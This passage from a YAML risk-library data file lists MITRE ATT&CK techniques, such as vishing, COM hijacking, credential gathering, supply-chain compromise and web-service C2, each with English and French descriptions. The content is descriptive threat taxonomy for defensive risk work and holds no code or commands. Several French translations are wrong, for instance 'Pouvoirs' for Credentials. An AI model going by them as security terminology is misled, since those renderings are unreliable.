          \ ou reposer sur la tromperie de l\u2019utilisateur pour qu\u2019il fournisse\
          \ des informations dans ce qu\u2019il croit \xEAtre un v\xE9ritable service\
          \ (par exemple, [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).\n\
          https://attack.mitre.org/techniques/T1056"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1566.004
    ref_id: T1566.004
    name: Spearphishing Voice
    description: 'Adversaries may use voice communications to ultimately gain access
      to victim systems. Spearphishing voice is a specific variant of spearphishing.
      It is different from other forms of spearphishing in that is employs the use
      of manipulating a user into providing access to systems through a phone call
      or other forms of voice communications. Spearphishing frequently involves social
      engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656))
      and/or creating a sense of urgency or alarm for the recipient.


      All forms of phishing are electronically delivered social engineering. In this
      scenario, adversaries are not directly sending malware to a victim vice relying
      on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery
      and execution. For example, victims may receive phishing messages that instruct
      them to call a phone number where they are directed to visit a malicious URL,
      download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring
      and Management Software) or install adversary-accessible remote management tools
      ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their
      computer.(Citation: Unit42 Luna Moth)


      Adversaries may also combine voice phishing with [Multi-Factor Authentication
      Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick
      users into divulging MFA credentials or accepting authentication prompts.(Citation:
      Proofpoint Vishing)

      https://attack.mitre.org/techniques/T1566/004'
    translations:
      fr:
        name: Voix de spearphishing
        description: "Les adversaires peuvent utiliser les communications vocales\
          \ pour acc\xE9der aux syst\xE8mes des victimes. La voix du spearphishing\
          \ est une variante sp\xE9cifique du spearphishing. Il diff\xE8re des autres\
          \ formes de harponnage en ce sens qu\u2019il utilise l\u2019utilisation\
          \ de la manipulation d\u2019un utilisateur pour qu\u2019il fournisse un\
          \ acc\xE8s aux syst\xE8mes par le biais d\u2019un appel t\xE9l\xE9phonique\
          \ ou d\u2019autres formes de communications vocales. Le spearphishing fait\
          \ souvent appel \xE0 des techniques d\u2019ing\xE9nierie sociale, telles\
          \ que se faire passer pour une source fiable (ex : [Usurpation d\u2019identit\xE9\
          ](https://attack.mitre.org/techniques/T1656)) et/ou cr\xE9er un sentiment\
          \ d\u2019urgence ou d\u2019alarme pour le destinataire.\n\nToutes les formes\
          \ d\u2019hame\xE7onnage sont transmises par voie \xE9lectronique. Dans ce\
          \ sc\xE9nario, les adversaires n\u2019envoient pas directement des logiciels\
          \ malveillants \xE0 une victime et ne s\u2019appuient pas sur [User Execution](https://attack.mitre.org/techniques/T1204)\
          \ pour la livraison et l\u2019ex\xE9cution. Par exemple, les victimes peuvent\
          \ recevoir des messages d\u2019hame\xE7onnage qui leur demandent d\u2019\
          appeler un num\xE9ro de t\xE9l\xE9phone o\xF9 elles sont dirig\xE9es pour\
          \ visiter une URL malveillante, t\xE9l\xE9charger des logiciels malveillants,\
          \ ou installer des outils de gestion \xE0 distance accessibles \xE0 l\u2019\
          adversaire ([Logiciel d\u2019acc\xE8s \xE0 distance](https://attack.mitre.org/techniques/T1219))\
          \ sur leur ordinateur. (Citation : Unit42 Luna Moth)\n\nLes adversaires\
          \ peuvent \xE9galement combiner le phishing vocal avec la [G\xE9n\xE9ration\
          \ de demandes d\u2019authentification multifacteur](https://attack.mitre.org/techniques/T1621)\
          \ afin d\u2019inciter les utilisateurs \xE0 divulguer des informations d\u2019\
          identification MFA ou \xE0 accepter des invites d\u2019authentification.\
          \ (Citation : Proofpoint Vishing)\nhttps://attack.mitre.org/techniques/T1566/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1587.004
    ref_id: T1587.004
    name: Exploits
    description: 'Adversaries may develop exploits that can be used during targeting.
      An exploit takes advantage of a bug or vulnerability in order to cause unintended
      or unanticipated behavior to occur on computer hardware or software. Rather
      than finding/modifying exploits from online or purchasing them from exploit
      vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet)
      Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006)
      to focus exploit development efforts. As part of the exploit development process,
      adversaries may uncover exploitable vulnerabilities through methods such as
      fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)


      As with legitimate development efforts, different skill sets may be required
      for developing exploits. The skills needed may be located in-house, or may need
      to be contracted out. Use of a contractor may be considered an extension of
      that adversary''s exploit development capabilities, provided the adversary plays
      a role in shaping requirements and maintains an initial degree of exclusivity
      to the exploit.


      Adversaries may use exploits during various phases of the adversary lifecycle
      (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
      [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
      [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
      [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
      [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
      [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
      and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

      https://attack.mitre.org/techniques/T1587/004'
    translations:
      fr:
        name: Exploits
        description: "Les adversaires peuvent d\xE9velopper des exploits qui peuvent\
          \ \xEAtre utilis\xE9s lors du ciblage. Un exploit tire parti d\u2019un bogue\
          \ ou d\u2019une vuln\xE9rabilit\xE9 afin de provoquer l\u2019apparition\
          \ d\u2019un comportement involontaire ou impr\xE9vu sur le mat\xE9riel ou\
          \ les logiciels informatiques. Plut\xF4t que de trouver/modifier des exploits\
          \ en ligne ou de les acheter aupr\xE8s de fournisseurs d\u2019exploits,\
          \ un adversaire peut d\xE9velopper ses propres exploits. (Citation : NYTStuxnet)\
          \ Les adversaires peuvent utiliser les informations obtenues via les [Vuln\xE9\
          rabilit\xE9s](https://attack.mitre.org/techniques/T1588/006) pour concentrer\
          \ les efforts de d\xE9veloppement d\u2019exploits. Dans le cadre du processus\
          \ de d\xE9veloppement d\u2019exploits, les adversaires peuvent d\xE9couvrir\
          \ des vuln\xE9rabilit\xE9s exploitables par le biais de m\xE9thodes telles\
          \ que le fuzzing et l\u2019analyse des correctifs. (Citation : Irongeek\
          \ Sims BSides 2017)\n\nComme pour les efforts de d\xE9veloppement l\xE9\
          gitimes, diff\xE9rents ensembles de comp\xE9tences peuvent \xEAtre n\xE9\
          cessaires pour d\xE9velopper des exploits. Les comp\xE9tences n\xE9cessaires\
          \ peuvent \xEAtre acquises \xE0 l\u2019interne ou faire l\u2019objet d\u2019\
          une sous-traitance. Le recours \xE0 un sous-traitant peut \xEAtre consid\xE9\
          r\xE9 comme une extension des capacit\xE9s de d\xE9veloppement d\u2019exploits\
          \ de cet adversaire, \xE0 condition que l\u2019adversaire joue un r\xF4\
          le dans l\u2019\xE9laboration des exigences et maintienne un degr\xE9 initial\
          \ d\u2019exclusivit\xE9 \xE0 l\u2019\xE9gard de l\u2019exploit.\n\nLes adversaires\
          \ peuvent utiliser des exploits au cours de diverses phases de leur cycle\
          \ de vie (c\u2019est-\xE0-dire [Exploiter une application publique](https://attack.mitre.org/techniques/T1190),\
          \ [Exploiter pour l\u2019ex\xE9cution du client](https://attack.mitre.org/techniques/T1203),\
          \ [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068),\
          \ [Exploitation pour contourner la d\xE9fense](https://attack.mitre.org/techniques/T1211),\
          \ [Exploitation pour l\u2019acc\xE8s aux informations d\u2019identification](\
          \ https://attack.mitre.org/techniques/T1212), [Exploitation de services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1210) et [Exploitation\
          \ d\u2019applications ou de syst\xE8mes](https://attack.mitre.org/techniques/T1499/004)).\n\
          https://attack.mitre.org/techniques/T1587/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1593.001
    ref_id: T1593.001
    name: Social Media
    description: "Adversaries may search social media for information about victims\
      \ that can be used during targeting. Social media sites may contain various\
      \ information about a victim organization, such as business announcements as\
      \ well as information about the roles, locations, and interests of staff.\n\n\
      Adversaries may search in different social media sites depending on what information\
      \ they seek to gather. Threat actors may passively harvest data from these sites,\
      \ as well as use information gathered to create fake profiles/groups to elicit\
      \ victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation:\
      \ Cyware Social Media) Information from these sources may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
      \ or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),\
      \ establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)\
      \ or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or\
      \ initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\n\
      https://attack.mitre.org/techniques/T1593/001"
    translations:
      fr:
        name: "M\xE9dias sociaux"
        description: "Les adversaires peuvent rechercher sur les r\xE9seaux sociaux\
          \ des informations sur les victimes qui peuvent \xEAtre utilis\xE9es lors\
          \ du ciblage. Les sites de m\xE9dias sociaux peuvent contenir divers renseignements\
          \ sur une organisation victime, comme des annonces commerciales ainsi que\
          \ des renseignements sur les r\xF4les, les lieux et les int\xE9r\xEAts du\
          \ personnel.\n\nLes adversaires peuvent effectuer des recherches sur diff\xE9\
          rents sites de m\xE9dias sociaux en fonction des informations qu\u2019ils\
          \ cherchent \xE0 recueillir. Les auteurs de menace peuvent r\xE9colter passivement\
          \ des donn\xE9es sur ces sites et utiliser les informations recueillies\
          \ pour cr\xE9er de faux profils ou groupes afin d\u2019inciter les victimes\
          \ \xE0 r\xE9v\xE9ler des informations sp\xE9cifiques (c.-\xE0-d. [Service\
          \ de harponnage](https://attack.mitre.org/techniques/T1598/001)). (Citation\
          \ : M\xE9dias sociaux Cyware) Les informations provenant de ces sources\
          \ peuvent r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de\
          \ reconnaissance (ex : [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablissement\
          \ de comptes](https://attack.mitre.org/techniques/T1585) ou [Compromission\
          \ de comptes](https://attack.mitre.org/techniques/T1586)), et/ou d\u2019\
          acc\xE8s initial (ex : [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\n\
          https://attack.mitre.org/techniques/T1593/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213.004
    ref_id: T1213.004
    name: Customer Relationship Management Software
    description: "Adversaries may leverage Customer Relationship Management (CRM)\
      \ software to mine valuable information. CRM software is used to assist organizations\
      \ in tracking and managing customer interactions, as well as storing customer\
      \ data.\n\nOnce adversaries gain access to a victim organization, they may mine\
      \ CRM software for customer data. This may include personally identifiable information\
      \ (PII) such as full names, emails, phone numbers, and addresses, as well as\
      \ additional details such as purchase histories and IT support interactions.\
      \ By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ emails, engage in SIM swapping, or otherwise target the organization\u2019\
      s customers in ways that enable financial gain or the compromise of additional\
      \ organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation:\
      \ Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank\
      \ Hack 2020)\n\nCRM software may be hosted on-premises or in the cloud. Information\
      \ stored in these solutions may vary based on the specific instance or environment.\
      \ Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho,\
      \ Zendesk, and HubSpot.\nhttps://attack.mitre.org/techniques/T1213/004"
    translations:
      fr:
        name: Logiciel de gestion de la relation client
        description: "Les adversaires peuvent tirer parti d\u2019un logiciel de gestion\
          \ de la relation client (CRM) pour extraire des informations pr\xE9cieuses.\
          \ Les logiciels CRM sont utilis\xE9s pour aider les organisations \xE0 suivre\
          \ et \xE0 g\xE9rer les interactions avec les clients, ainsi qu\u2019\xE0\
          \ stocker les donn\xE9es des clients.\n\nUne fois que les adversaires ont\
          \ acc\xE8s \xE0 une organisation victime, ils peuvent exploiter le logiciel\
          \ CRM pour trouver des donn\xE9es client. Il peut s\u2019agir d\u2019informations\
          \ personnellement identifiables (PII) telles que les noms complets, les\
          \ adresses e-mail, les num\xE9ros de t\xE9l\xE9phone et les adresses, ainsi\
          \ que de d\xE9tails suppl\xE9mentaires tels que l\u2019historique des achats\
          \ et les interactions avec le support informatique. En collectant ces donn\xE9\
          es, un adversaire peut \xEAtre en mesure d\u2019envoyer des e-mails personnalis\xE9\
          s (https://attack.mitre.org/techniques/T1566, de proc\xE9der \xE0 l\u2019\
          \xE9change de cartes SIM ou de cibler les clients de l\u2019organisation\
          \ de mani\xE8re \xE0 r\xE9aliser des gains financiers ou \xE0 compromettre\
          \ d\u2019autres organisations. (Citation : Bleeping Computer US Cellular\
          \ Hack 2022)(Citation : Bleeping Computer Mint Mobile Hack 2021)(Citation\
          \ : Bleeping Computer Bank Hack 2020)\n\nLes logiciels CRM peuvent \xEA\
          tre h\xE9berg\xE9s sur site ou dans le cloud. Les informations stock\xE9\
          es dans ces solutions peuvent varier en fonction de l\u2019instance ou de\
          \ l\u2019environnement sp\xE9cifique. Parmi les exemples de logiciels CRM,\
          \ citons Microsoft Dynamics 365, Salesforce, Zoho, Zendesk et HubSpot.\n\
          https://attack.mitre.org/techniques/T1213/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.015
    ref_id: T1546.015
    name: Component Object Model Hijacking
    description: "Adversaries may establish persistence by executing malicious content\
      \ triggered by hijacked references to Component Object Model (COM) objects.\
      \ COM is a system within Windows to enable interaction between software components\
      \ through the operating system.(Citation: Microsoft Component Object Model)\
      \  References to various COM objects are stored in the Registry. \n\nAdversaries\
      \ can use the COM system to insert malicious code that can be executed in place\
      \ of legitimate software through hijacking the COM references and relationships\
      \ as a means for persistence. Hijacking a COM object requires a change in the\
      \ Registry to replace a reference to a legitimate system component which may\
      \ cause that component to not work when executed. When that system component\
      \ is executed through normal system operation the adversary's code will be executed\
      \ instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects\
      \ that are used frequently enough to maintain a consistent level of persistence,\
      \ but are unlikely to break noticeable functionality within the system as to\
      \ avoid system instability that could lead to detection.\nhttps://attack.mitre.org/techniques/T1546/015"
    translations:
      fr:
        name: "D\xE9tournement de mod\xE8le objet composant"
        description: "Les adversaires peuvent \xE9tablir une persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par des r\xE9f\xE9rences d\xE9\
          tourn\xE9es \xE0 des objets COM (Component Object Model). COM est un syst\xE8\
          me au sein de Windows permettant l\u2019interaction entre les composants\
          \ logiciels via le syst\xE8me d\u2019exploitation. (citation : Microsoft\
          \ Component Object Model)  Les r\xE9f\xE9rences \xE0 divers objets COM sont\
          \ stock\xE9es dans le registre. \n\nLes adversaires peuvent utiliser le\
          \ syst\xE8me COM pour ins\xE9rer un code malveillant qui peut \xEAtre ex\xE9\
          cut\xE9 \xE0 la place d\u2019un logiciel l\xE9gitime en d\xE9tournant les\
          \ r\xE9f\xE9rences et les relations COM comme moyen de persistance. Le d\xE9\
          tournement d\u2019un objet COM n\xE9cessite une modification du registre\
          \ pour remplacer une r\xE9f\xE9rence \xE0 un composant syst\xE8me l\xE9\
          gitime, ce qui peut emp\xEAcher ce composant de fonctionner lors de son\
          \ ex\xE9cution. Lorsque ce composant syst\xE8me est ex\xE9cut\xE9 dans le\
          \ cadre d\u2019un fonctionnement normal du syst\xE8me, le code de l\u2019\
          adversaire est ex\xE9cut\xE9 \xE0 la place. (Citation : D\xE9tournement\
          \ de GDATA COM) Un adversaire est susceptible de d\xE9tourner des objets\
          \ qui sont utilis\xE9s suffisamment fr\xE9quemment pour maintenir un niveau\
          \ de persistance constant, mais il est peu probable qu\u2019il interrompe\
          \ des fonctionnalit\xE9s notables du syst\xE8me afin d\u2019\xE9viter une\
          \ instabilit\xE9 du syst\xE8me qui pourrait conduire \xE0 la d\xE9tection.\n\
          https://attack.mitre.org/techniques/T1546/015"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1589.001
    ref_id: T1589.001
    name: Credentials
    description: 'Adversaries may gather credentials that can be used during targeting.
      Account credentials gathered by adversaries may be those directly associated
      with the target victim organization or attempt to take advantage of the tendency
      for users to use the same passwords across personal and business accounts.


      Adversaries may gather credentials from potential victims in various ways, such
      as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).
      Adversaries may also compromise sites then add malicious content designed to
      collect website authentication cookies from visitors.(Citation: ATT ScanBox)
      (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack
      Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation:
      GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA)
      based on out-of-band communications is in use, adversaries may compromise a
      service provider to gain access to MFA codes and one-time passwords (OTP).(Citation:
      Okta Scatter Swine 2022)


      Credential information may also be exposed to adversaries via leaks to online
      or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002),
      breach dumps, code repositories, etc.). Adversaries may purchase credentials
      from dark web markets, such as Russian Market and 2easy, or through access to
      Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping
      Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping
      Computer Stealer Logs 2023)


      Gathering this information may reveal opportunities for other forms of reconnaissance
      (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)),
      and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

      https://attack.mitre.org/techniques/T1589/001'
    translations:
      fr:
        name: Pouvoirs
        description: "Les adversaires peuvent collecter des informations d\u2019identification\
          \ qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les informations d\u2019\
          identification de compte recueillies par des adversaires peuvent \xEAtre\
          \ celles directement associ\xE9es \xE0 l\u2019organisation victime cible\
          \ ou tenter de tirer parti de la tendance des utilisateurs \xE0 utiliser\
          \ les m\xEAmes mots de passe pour leurs comptes personnels et professionnels.\n\
          \nLes adversaires peuvent recueillir des informations d\u2019identification\
          \ aupr\xE8s de victimes potentielles de diff\xE9rentes mani\xE8res, par\
          \ exemple par le biais d\u2019une incitation directe par le biais de l\u2019\
          hame\xE7onnage pour obtenir des informations(https://attack.mitre.org/techniques/T1598).\
          \ Les adversaires peuvent \xE9galement compromettre des sites puis ajouter\
          \ du contenu malveillant con\xE7u pour collecter des cookies d\u2019authentification\
          \ de site Web aupr\xE8s des visiteurs. (Citation : ATT ScanBox) (R\xE9f\xE9\
          rence : Registre Deloitte)(Citation : Enregistrer Uber)(Citation : Detectify\
          \ Slack Tokens)(Citation : Forbes GitHub Creds)(Citation : GitHub truffleHog)(Citation\
          \ : GitHub Gitrob)(Citation : CNET Leaks) Lorsque l\u2019authentification\
          \ multifacteur (MFA) bas\xE9e sur des communications hors bande est utilis\xE9\
          e, des adversaires peuvent compromettre un fournisseur de services pour\
          \ acc\xE9der aux codes MFA et aux mots de passe \xE0 usage unique (OTP).\
          \ (Citation : Okta Scatter Swine 2022)\n\nLes informations d\u2019identification\
          \ peuvent \xE9galement \xEAtre expos\xE9es \xE0 des adversaires par le biais\
          \ de fuites en ligne ou d\u2019autres ensembles de donn\xE9es accessibles\
          \ (ex : [moteurs de recherche](https://attack.mitre.org/techniques/T1593/002),\
          \ de vidages de violations, de r\xE9f\xE9rentiels de code, etc.). Les adversaires\
          \ peuvent acheter des identifiants sur les march\xE9s du dark web, tels\
          \ que Russian Market et 2easy, ou en acc\xE9dant \xE0 des cha\xEEnes Telegram\
          \ qui distribuent des journaux de logiciels malveillants de vol d\u2019\
          informations. (Citation : Bleeping Computer 2easy 2021)(Citation : SecureWorks\
          \ Infostealers 2023)(Citation : Journaux de voleur d\u2019ordinateur Bleeping\
          \ 2023)\n\nLa collecte de ces informations peut r\xE9v\xE9ler des opportunit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Recherche de sites\
          \ Web/domaines ouverts](https://attack.mitre.org/techniques/T1593) ou [Phishing\
          \ pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ la mise en place de ressources op\xE9rationnelles (ex : [Comptes compromis](https://attack.mitre.org/techniques/T1586)),\
          \ et/ou l\u2019acc\xE8s initial (ex : [Services \xE0 distance externes](https://attack.mitre.org/techniques/T1133)\
          \ ou [Valide Comptabilit\xE9](https://attack.mitre.org/techniques/T1078)).\n\
          https://attack.mitre.org/techniques/T1589/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1195.002
    ref_id: T1195.002
    name: Compromise Software Supply Chain
    description: 'Adversaries may manipulate application software prior to receipt
      by a final consumer for the purpose of data or system compromise. Supply chain
      compromise of software can take place in a number of ways, including manipulation
      of the application source code, manipulation of the update/distribution mechanism
      for that software, or replacing compiled releases with a modified version.


      Targeting may be specific to a desired victim set or may be distributed to a
      broad set of consumers but only move on to additional tactics on specific victims.(Citation:
      Avast CCleaner3 2018)(Citation: Command Five SK 2011)

      https://attack.mitre.org/techniques/T1195/002'
    translations:
      fr:
        name: "Compromettre la cha\xEEne d\u2019approvisionnement logicielle"
        description: "Les adversaires peuvent manipuler les logiciels d\u2019application\
          \ avant qu\u2019ils ne soient re\xE7us par un consommateur final dans le\
          \ but de compromettre les donn\xE9es ou le syst\xE8me. La compromission\
          \ de la cha\xEEne d\u2019approvisionnement d\u2019un logiciel peut se faire\
          \ de plusieurs fa\xE7ons, notamment la manipulation du code source de l\u2019\
          application, la manipulation du m\xE9canisme de mise \xE0 jour/distribution\
          \ de ce logiciel ou le remplacement des versions compil\xE9es par une version\
          \ modifi\xE9e.\n\nLe ciblage peut \xEAtre sp\xE9cifique \xE0 un ensemble\
          \ de victimes souhait\xE9es ou peut \xEAtre distribu\xE9 \xE0 un large \xE9\
          ventail de consommateurs, mais ne passer qu\u2019\xE0 des tactiques suppl\xE9\
          mentaires visant des victimes sp\xE9cifiques. (Citation : Avast CCleaner3\
          \ 2018)(R\xE9f\xE9rence : Command Five SK 2011)\nhttps://attack.mitre.org/techniques/T1195/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.003
    ref_id: T1036.003
    name: Rename System Utilities
    description: 'Adversaries may rename legitimate system utilities to try to evade
      security mechanisms concerning the usage of those utilities. Security monitoring
      and control mechanisms may be in place for system utilities adversaries are
      capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass
      those security mechanisms by renaming the utility prior to utilization (ex:
      rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An alternative
      case occurs when a legitimate utility is copied or moved to a different directory
      and renamed to avoid detections based on system utilities executing from non-standard
      paths. (Citation: F-Secure CozyDuke)

      https://attack.mitre.org/techniques/T1036/003'
    translations:
      fr:
        name: "Renommer les utilitaires syst\xE8me"
        description: "Les adversaires peuvent renommer des utilitaires syst\xE8me\
          \ l\xE9gitimes pour tenter d\u2019\xE9chapper aux m\xE9canismes de s\xE9\
          curit\xE9 concernant l\u2019utilisation de ces utilitaires. Des m\xE9canismes\
          \ de surveillance et de contr\xF4le de la s\xE9curit\xE9 peuvent \xEAtre\
          \ mis en place pour les utilitaires syst\xE8me dont les adversaires sont\
          \ susceptibles d\u2019abuser. (Citation : Site principal de LOLBAS) Il peut\
          \ \xEAtre possible de contourner ces m\xE9canismes de s\xE9curit\xE9 en\
          \ renommant l\u2019utilitaire avant de l\u2019utiliser (ex : renommer <code>rundll32.exe</code>).\
          \ (Citation : Balle de mascarade \xE9lastique) Un autre cas se produit lorsqu\u2019\
          un utilitaire l\xE9gitime est copi\xE9 ou d\xE9plac\xE9 vers un autre r\xE9\
          pertoire et renomm\xE9 pour \xE9viter les d\xE9tections bas\xE9es sur des\
          \ utilitaires syst\xE8me s\u2019ex\xE9cutant \xE0 partir de chemins d\u2019\
          acc\xE8s non standard. (Citation : F-Secure CozyDuke)\nhttps://attack.mitre.org/techniques/T1036/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1102.002
    ref_id: T1102.002
    name: Bidirectional Communication
    description: "Adversaries may use an existing, legitimate external Web service\
      \ as a means for sending commands to and receiving output from a compromised\
      \ system over the Web service channel. Compromised systems may leverage popular\
      \ websites and social media to host command and control (C2) instructions. Those\
      \ infected systems can then send the output from those commands back over that\
      \ Web service channel. The return traffic may occur in a variety of ways, depending\
      \ on the Web service being utilized. For example, the return traffic may take\
      \ the form of the compromised system posting a comment on a forum, issuing a\
      \ pull request to development project, updating a document hosted on a Web service,\
      \ or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism\
      \ for C2 may give a significant amount of cover due to the likelihood that hosts\
      \ within a network are already communicating with them prior to a compromise.\
      \ Using common services, such as those offered by Google or Twitter, makes it\
      \ easier for adversaries to hide in expected noise. Web service providers commonly\
      \ use SSL/TLS encryption, giving adversaries an added level of protection.\n\
      https://attack.mitre.org/techniques/T1102/002"
    translations:
      fr:
        name: Communication bidirectionnelle
        description: "Les adversaires peuvent utiliser un service Web externe existant\
          \ et l\xE9gitime comme moyen d\u2019envoyer des commandes \xE0 un syst\xE8\
          me compromis et d\u2019en recevoir une sortie sur le canal du service Web.\
          \ Les syst\xE8mes compromis peuvent exploiter des sites Web et des m\xE9\
          dias sociaux populaires pour h\xE9berger des instructions de commande et\
          \ de contr\xF4le (C2). Ces syst\xE8mes infect\xE9s peuvent ensuite renvoyer\
          \ le r\xE9sultat de ces commandes sur ce canal de service Web. Le trafic\
          \ de retour peut se produire de diff\xE9rentes mani\xE8res, en fonction\
          \ du service Web utilis\xE9. Par exemple, le trafic de retour peut prendre\
          \ la forme d\u2019un commentaire sur un forum, d\u2019un message envoy\xE9\
          \ par le syst\xE8me compromis \xE0 un projet de d\xE9veloppement, d\u2019\
          une mise \xE0 jour d\u2019un document h\xE9berg\xE9 sur un service Web ou\
          \ de l\u2019envoi d\u2019un Tweet. \n\nLes sites Web populaires et les m\xE9\
          dias sociaux agissant comme un m\xE9canisme pour C2 peuvent offrir une couverture\
          \ importante en raison de la probabilit\xE9 que les h\xF4tes d\u2019un r\xE9\
          seau communiquent d\xE9j\xE0 avec eux avant une compromission. L\u2019utilisation\
          \ de services courants, tels que ceux propos\xE9s par Google ou Twitter,\
          \ permet aux adversaires de se cacher plus facilement dans le bruit attendu.\
          \ Les fournisseurs de services Web utilisent g\xE9n\xE9ralement le cryptage\
          \ SSL/TLS, ce qui offre aux adversaires un niveau de protection suppl\xE9\
          mentaire.\nhttps://attack.mitre.org/techniques/T1102/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1203
    ref_id: T1203
    name: Exploitation for Client Execution
    description: 'Adversaries may exploit software vulnerabilities in client applications
      to execute code. Vulnerabilities can exist in software due to unsecure coding
      practices that can lead to unanticipated behavior. Adversaries can take advantage
      of certain vulnerabilities through targeted exploitation for the purpose of
      arbitrary code execution. Oftentimes the most valuable exploits to an offensive
      toolkit are those that can be used to obtain code execution on a remote system
      because they can be used to gain access to that system. Users will expect to
      see files related to the applications they commonly used to do work, so they
      are a useful target for exploit research and development because of their high
      utility.


      Several types exist:


      ### Browser-based Exploitation


      Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)
      and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint
      systems may be compromised through normal web browsing or from certain users
      being targeted by links in spearphishing emails to adversary controlled sites
      used to exploit the web browser. These often do not require an action by the
      user for the exploit to be executed.


      ### Office Applications


      Common office and productivity applications such as Microsoft Office are also
      targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious
      files will be transmitted directly as attachments or through links to download
      them. These require the user to open the document or file for the exploit to
      run.


      ### Common Third-party Applications


      Other applications that are commonly seen or are part of the software deployed
      in a target network may also be used for exploitation. Applications such as
      Adobe Reader and Flash, which are common in enterprise environments, have been
      routinely targeted by adversaries attempting to gain access to systems. Depending
      on the software and nature of the vulnerability, some may be exploited in the
      browser or require the user to open a file. For instance, some Flash exploits
      have been delivered as objects within Microsoft Office documents.

      https://attack.mitre.org/techniques/T1203'
    translations:
      fr:
        name: "Exploitation pour l\u2019ex\xE9cution par le client"
        description: "Les adversaires peuvent exploiter les vuln\xE9rabilit\xE9s logicielles\
          \ des applications clientes pour ex\xE9cuter du code. Des vuln\xE9rabilit\xE9\
          s peuvent exister dans les logiciels en raison de pratiques de codage non\
          \ s\xE9curis\xE9es qui peuvent entra\xEEner un comportement impr\xE9vu.\
          \ Les adversaires peuvent tirer parti de certaines vuln\xE9rabilit\xE9s\
          \ par le biais d\u2019une exploitation cibl\xE9e dans le but d\u2019ex\xE9\
          cuter du code arbitraire. Souvent, les exploits les plus pr\xE9cieux d\u2019\
          une bo\xEEte \xE0 outils offensive sont ceux qui peuvent \xEAtre utilis\xE9\
          s pour obtenir l\u2019ex\xE9cution de code sur un syst\xE8me distant, car\
          \ ils peuvent \xEAtre utilis\xE9s pour acc\xE9der \xE0 ce syst\xE8me. Les\
          \ utilisateurs s\u2019attendent \xE0 voir fonctionner des fichiers li\xE9\
          s aux applications qu\u2019ils utilisaient habituellement, ils constituent\
          \ donc une cible utile pour la recherche et le d\xE9veloppement d\u2019\
          exploits en raison de leur grande utilit\xE9.\n\nIl en existe plusieurs\
          \ types :\n\n### Exploitation bas\xE9e sur le navigateur\n\nLes navigateurs\
          \ Web sont une cible courante par le biais de [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)\
          \ et de [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).\
